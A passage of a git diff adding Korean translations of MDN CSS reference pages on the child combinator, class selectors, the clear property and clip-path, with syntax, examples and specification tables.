+<p>So three declarations are in competition:</p>
+
+<pre class="brush:css;">margin-left: 0</pre>
+
+<pre class="brush:css;">margin-left: 3px</pre>
+
+<pre class="brush:css;">margin-left: 1px</pre>
+
+<p>The last one is ignored (on a screen), and the first two have the same selector, hence the same specificity. Therefore, it is the last one that is then selected:</p>
+
+<pre class="brush:css;">margin-left: 3px</pre>
+
+<p>Note that the declaration defined in the user CSS, though having a greater specifity, is not chosen as the cascade algorithm is applied before the specifity algorithm.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Cascade")}}</td>
+   <td>{{Spec2("CSS4 Cascade")}}</td>
+   <td>Added the {{CSSxRef("revert")}} keyword, which allows rolling a property back a cascade level.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Cascade")}}</td>
+   <td>{{Spec2("CSS3 Cascade")}}</td>
+   <td>Removed the override cascade origin, as it was never used in a W3C standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html", "the cascade")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style","css.html#CSS-OverrideAndComputed","override cascade origin")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Defined the override cascade origin, but didn't elaborate further.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#the-cascade", "the cascade")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance">A very simple introduction to the CSS cascade</a></li>
+ <li>{{CSS_Key_Concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/child_combinator/index.html b/files/ko/web/css/child_combinator/index.html
new file mode 100644
index 0000000000..dceec68d92
--- /dev/null
+++ b/files/ko/web/css/child_combinator/index.html
@@ -0,0 +1,92 @@
+---
+title: 자식 결합자
+slug: Web/CSS/Child_combinator
+tags:
+  - CSS
+  - Reference
+  - Selectors
+translation_of: Web/CSS/Child_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p><strong>자식 결합자</strong>(<code>&gt;</code>)는 두 개의 CSS 선택자 사이에 위치하여 뒤쪽 선택자의 요소가 앞쪽 선택자 요소의 바로 밑에 위치할 경우에만 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* List items that are children of the "my-things" list */
+ul.my-things &gt; li {
+  margin: 2em;
+}</pre>
+
+<p>뒤쪽 선택자의 요소는 앞쪽 선택자 요소의 바로 아래에 위치해야 하므로, DOM 트리의 깊이에 상관하지 않고 아래의 모든 요소를 선택하는 <a href="/ko/docs/Web/CSS/Descendant_combinator">자손 결합자</a>보다 더 엄격합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">selector1 &gt; selector2 { <em>style properties</em> }
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  background-color: white;
+}
+
+div &gt; span {
+  background-color: DodgerBlue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Span #1, in the div.
+    &lt;span&gt;Span #2, in the span that's in the div.&lt;/span&gt;
+  &lt;/span&gt;
+&lt;/div&gt;
+&lt;span&gt;Span #3, not in the div at all.&lt;/span&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", "100%", 100)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#child-combinators", "child combinator")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Selectors", "#child-combinators", "child combinators")}}</td>
+   <td>{{Spec2("CSS3 Selectors")}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "selector.html#child-selectors", "child selectors")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.child")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/Descendant_combinator">자손 결합자</a></li>
+</ul>
diff --git a/files/ko/web/css/class_selectors/index.html b/files/ko/web/css/class_selectors/index.html
new file mode 100644
index 0000000000..70c84faa98
--- /dev/null
+++ b/files/ko/web/css/class_selectors/index.html
@@ -0,0 +1,107 @@
+---
+title: 클래스 선택자
+slug: Web/CSS/Class_selectors
+tags:
+  - CSS
+  - Reference
+  - Selectors
+translation_of: Web/CSS/Class_selectors
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>클래스 선택자</strong>는 요소의 {{htmlattrxref("class")}} 특성에 기반해 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers">/* All elements with class="spacious" */
+.spacious {
+  margin: 2em;
+}
+
+/* All &lt;li&gt; elements with class="spacious" */
+li.spacious {
+  margin: 2em;
+}
+
+/* All &lt;li&gt; elements with a class list that includes both "spacious" and "elegant" */
+/* For example, class="elegant retro spacious" */
+li.spacious.elegant {
+  margin: 2em;
+}
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">.class_name { <em>style properties</em> }</pre>
+
+<p>위의 구문은 <a href="/ko/docs/Web/CSS/Attribute_selectors">특성 선택자</a>를 사용한 다음 구문과 동일합니다.</p>
+
+<pre class="syntaxbox">[class~=class_name] { <em>style properties</em> }</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.red {
+  color: #f33;
+}
+
+.yellow-bg {
+  background: #ffa;
+}
+
+.fancy {
+  font-weight: bold;
+  text-shadow: 4px 4px 3px #77f;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="red"&gt;빨간 글자색의 문단입니다.&lt;/p&gt;
+&lt;p class="red yellow-bg"&gt;빨간 글자색과 노란 배경의 문단입니다.&lt;/p&gt;
+&lt;p class="red fancy"&gt;빨간 글자색과 "멋진" 스타일을 가진 문단입니다.&lt;/p&gt;
+&lt;p&gt;이건 그냥 문단이에요.&lt;/p&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>No changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.class")}}</p>
diff --git a/files/ko/web/css/clear/index.html b/files/ko/web/css/clear/index.html
new file mode 100644
index 0000000000..f4ed21f1e9
--- /dev/null
+++ b/files/ko/web/css/clear/index.html
@@ -0,0 +1,231 @@
+---
+title: clear
+slug: Web/CSS/clear
+tags:
+  - CSS
+  - CSS Positioning
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/clear
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>clear</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소가 선행 <a href="/ko/docs/Web/CSS/float">부동</a>(floating) 요소 다음일 수 있는지 또는 그 아래로 내려가(해제되어(cleared))야 하는 지를 지정합니다. <code>clear</code> 속성은 부동 및 비부동 요소 모두에 적용됩니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/clear.html")}}</div>
+
+
+
+<p>비부동 블록에 적용되는 경우, 모든 관련 부동체(floats)의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">마진 경계</a> 아래로까지 요소의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">보더 경계</a>를 아래로 내립니다. 이 움직임(이 일어나는 경우)은 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Mastering_margin_collapsing" title="margin collapsing">마진 상쇄</a>가 일어나지 않도록 합니다.</p>
+
+<p>부동 요소에 적용되는 경우, 모든 관련 부동체의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">마진 경계</a> 아래로 요소의 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">마진 경계</a>를 옮깁니다. 이는 나중(later) 부동체의 위치에 영향을 줍니다, 나중 부동체가 앞선(earlier) 부동체보다 높게 위치될 수 없기에.</p>
+
+<p>해제(cleared)와 관련된 부동체는 같은 <a href="/ko/docs/Web/Guide/CSS/Block_formatting_context" title="block formatting context">블록 형성 문맥</a> 내 앞선 부동체입니다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> 요소가 그 안에 모든 부동 요소를 포함하고 싶은 경우, 컨테이너도 부동하거나 컨테이너의 {{cssxref("::after")}} 대체 <a href="/ko/docs/Web/CSS/Pseudo-elements">가상 요소</a>에 <code>clear</code>를 쓸 수 있습니다.</p>
+
+<pre class="brush: css">#container::after {
+   content: "";
+   display: block;
+   clear: both;
+}
+</pre>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css">/* 키워드 값 */
+clear: none;
+clear: left;
+clear: right;
+clear: both;
+clear: inline-start;
+clear: inline-end;
+
+/* 전역 값 */
+clear: inherit;
+clear: initial;
+clear: unset;</pre>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>요소가 지난 부동 요소를 해제하기 위해 아래로 이동되지 <em>않음</em>을 나타내는 키워드입니다.</dd>
+ <dt><code>left</code></dt>
+ <dd>요소가 지난 <em>left</em> 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.</dd>
+ <dt><code>right</code></dt>
+ <dd>요소가 지난 <em>right</em> 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.</dd>
+ <dt><code>both</code></dt>
+ <dd>요소가 지난 <em>both</em> left 및 right 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다.</dd>
+ <dt><code>inline-start</code></dt>
+ <dd>요소가 <em>포함 블록의 시작 쪽</em> 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다, 즉 ltr 스크립트의 <em>left</em> 부동체 및 rtl 스크립트의 <em>right</em> 부동체.</dd>
+ <dt><code>inline-end</code></dt>
+ <dd>요소가 <em>포함 블록의 끝 쪽</em> 부동체를 해제하기 위해 아래로 이동됨을 나타내는 키워드입니다, 즉 ltr 스크립트의 <em>right</em> 부동체 및 rtl 스크립트의 <em>left</em> 부동체.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="clear:_left" name="clear:_left">clear: left</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+  &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+  &lt;p class="left"&gt;This paragraph clears left.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.left {
+    border: 1px solid black;
+    clear: left;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width: 20%;
+}
+.red {
+    float: left;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 50%;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('clear:_left','100%','250') }}</p>
+
+<h3 id="clear:_right" name="clear:_right">clear: right</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+  &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+  &lt;p class="right"&gt;This paragraph clears right.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.right {
+    border: 1px solid black;
+    clear: right;
+}
+.black {
+    float: right;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 50%;
+}</pre>
+
+<p>{{ EmbedLiveSample('clear:_right','100%','250') }}</p>
+
+<h3 id="clear:_both" name="clear:_both">clear: both</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor. Fusce pulvinar lacus ac dui.&lt;/p&gt;
+  &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+  &lt;p class="both"&gt;This paragraph clears both.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.both {
+    border: 1px solid black;
+    clear: both;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 45%;
+}</pre>
+
+<p>{{ EmbedLiveSample('clear:_both','100%','300') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td><code>inline-start</code> 및 <code>inline-end</code> 값 추가</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#flow-control', 'clear')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>중요한 변화 없음, 세부사항은 명확해졌지만.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#clear', 'clear')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<div>{{Compat("css.properties.clear")}}</div>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model" title="Box model">박스 모델</a></li>
+</ul>
diff --git a/files/ko/web/css/clip-path/index.html b/files/ko/web/css/clip-path/index.html
new file mode 100644
index 0000000000..588fb46724
--- /dev/null
+++ b/files/ko/web/css/clip-path/index.html
@@ -0,0 +1,614 @@
+---
+title: clip-path
+slug: Web/CSS/clip-path
+tags:
+  - CSS
+  - CSS Masking
+  - CSS Property
+  - Experimental
+  - Reference
+  - Web
+translation_of: Web/CSS/clip-path
+---
+<div>{{CSSRef}}</div>
+
+<p><code><strong>clip-path</strong></code> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 클리핑 범위를 지정합니다. 클리핑 범위 안의 부분은 보여지고, 바깥은 숨겨집니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/clip-path.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+clip-path: none;
+
+/* &lt;clip-source&gt; 값 */
+clip-path: url(resources.svg#c1);
+
+/* &lt;geometry-box&gt; 값 */
+clip-path: margin-box;
+clip-path: border-box;
+clip-path: padding-box;
+clip-path: content-box;
+clip-path: fill-box;
+clip-path: stroke-box;
+clip-path: view-box;
+
+/* &lt;basic-shape&gt; 값 */
+clip-path: inset(100px 50px);
+clip-path: circle(50px at 0 100px);
+clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
+clip-path: path('M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z');
+
+/* 박스와 도형 값 조합 */
+clip-path: padding-box circle(50px at 0 100px);
+
+/* 전역 값 */
+clip-path: inherit;
+clip-path: initial;
+clip-path: unset;
+</pre>
+
+<p><code>clip-path</code> 속성은 아래의 값을 하나 이상 조합해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;clip-source&gt;</code></dt>
+ <dd><a href="/ko/docs/Web/SVG">SVG</a> {{SVGElement("clipPath")}} 요소를 가리키는 {{cssxref("&lt;url&gt;")}}.</dd>
+ <dt>{{cssxref("&lt;basic-shape&gt;")}}</dt>
+ <dd><code>&lt;geometry-box&gt;</code> 값으로 크기와 위치가 정해지는 도형. <code>&lt;geometry-box&gt;</code>를 지정하지 않는다면 <code>border-box</code>를 참조 박스로 사용합니다.</dd>
+ <dt><code>&lt;geometry-box&gt;</code></dt>
+ <dd><code>&lt;basic-shape&gt;</code>와 함께 지정하면, <code>&lt;basic-shape&gt;</code>의 참조 박스를 정의합니다. 단독으로 지정한 경우, 값으로 주어진 상자와 그 상자의 모서리 형태({{cssxref("border-radius")}} 등)를 클리핑 패스로 적용합니다. 가능한 값은 다음과 같습니다.</dd>
+ <dd>
+ <dl>
+  <dt><code>margin-box</code></dt>
+  <dd><a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#margin-box">바깥 여백 상자</a>를 참조로 사용합니다.</dd>
+  <dt><code>border-box</code></dt>
+  <dd><a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#border-box">테두리 상자</a>를 참조로 사용합니다.</dd>
+  <dt><code>padding-box</code></dt>
+  <dd><a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#padding-box">안쪽 여백 상자</a>를 참조로 사용합니다.</dd>
+  <dt><code>content-box</code></dt>
+  <dd><a href="/en-US/docs/Web/CSS/CSS_Shapes/From_box_values#content-box">콘텐츠 상자</a>를 참조로 사용합니다.</dd>
+  <dt><code>fill-box</code></dt>
+  <dd>객체의 바운딩 상자를 참조로 사용합니다.</dd>
+  <dt><code>stroke-box</code></dt>
+  <dd>테두리 바운딩 상자를 참조로 사용합니다.</dd>
+  <dt><code>view-box</code></dt>
+  <dd>가장 가까운 SVG 뷰포트를 참조 상자로 사용합니다. SVG 뷰포트를 생성한 요소가 {{SVGAttr("viewBox")}} 속성을 가진 경우, 참조 상자의 위치는 <code>viewBox</code> 속성이 정의하는 좌표계의 원점에 위치하고, 크기는 <code>viewBox</code> 속성의 너비와 높이 값과 동일합니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>클리핑 패스를 생성하지 않습니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>참고</strong>: {{cssxref("opacity")}}가 1이 아닌 값일 때와 마찬가지로, <strong><code>none</code></strong> 외의 계산값은 새로운 <a href="/ko/docs/CSS/Understanding_z-index/The_stacking_context">쌓임 맥락</a>을 생성합니다.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML과_SVG의_차이점">HTML과 SVG의 차이점</h3>
+
+<div class="hidden" id="clip-path">
+<pre class="brush: html">&lt;svg class="defs"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="myPath" clipPathUnits="objectBoundingBox"&gt;
+      &lt;path d="M0.5,1 C0.5,1,0,0.7,0,0.3 A0.25,0.25,1,1,1,0.5,0.3 A0.25,0.25,1,1,1,1,0.3 C1,0.7,0.5,1,0.5,1 Z" /&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="note"&gt;clip-path: none&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="none"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="none"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: url(#myPath)&lt;br&gt;&lt;br&gt;
+      Assuming the following clipPath definition:
+      &lt;pre&gt;
+&amp;lt;svg&amp;gt;
+  &amp;lt;clipPath id="myPath" clipPathUnits="objectBoundingBox"&amp;gt;
+    &amp;lt;path d="M0.5,1
+      C 0.5,1,0,0.7,0,0.3
+      A 0.25,0.25,1,1,1,0.5,0.3
+      A 0.25,0.25,1,1,1,1,0.3
+      C 1,0.7,0.5,1,0.5,1 Z" /&amp;gt;
+  &amp;lt;/clipPath&amp;gt;
+&amp;lt;/svg&amp;gt;&lt;/pre&gt;
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="svg"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="svg"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: path('M15,45 A30,30,0,0,1,75,45 A30,30,0,0,1,135,45 Q135,90,75,130 Q15,90,15,45 Z')
+    &lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="svg2"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="svg2"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+
+
+    &lt;div class="note"&gt;clip-path: circle(25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape1"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape1"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape2"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape2"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: fill-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape3"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape3"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: stroke-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape4"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
+          &lt;/p&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;SVG&lt;/span&gt;
+        &lt;div class="container viewbox"&gt;
+          &lt;svg viewBox="0 0 192 192"&gt;
+            &lt;g class="shape4"&gt;
+              &lt;rect x="24" y="24" width="144" height="144" /&gt;
+              &lt;text x="96" y="91"&gt;I LOVE&lt;/text&gt;
+              &lt;text x="96" y="109" class="em"&gt;clipping&lt;/text&gt;
+            &lt;/g&gt;
+          &lt;/svg&gt;
+        &lt;/div&gt;
+      &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div class="note"&gt;clip-path: view-box circle(25% at 25% 25%)&lt;/div&gt;
+    &lt;div class="row"&gt;
+      &lt;div class="cell"&gt; &lt;span&gt;HTML&lt;/span&gt;
+        &lt;div class="container"&gt;
+          &lt;p class="shape5"&gt;
+            I LOVE&lt;br&gt;&lt;em&gt;clipping&lt;/em&gt;
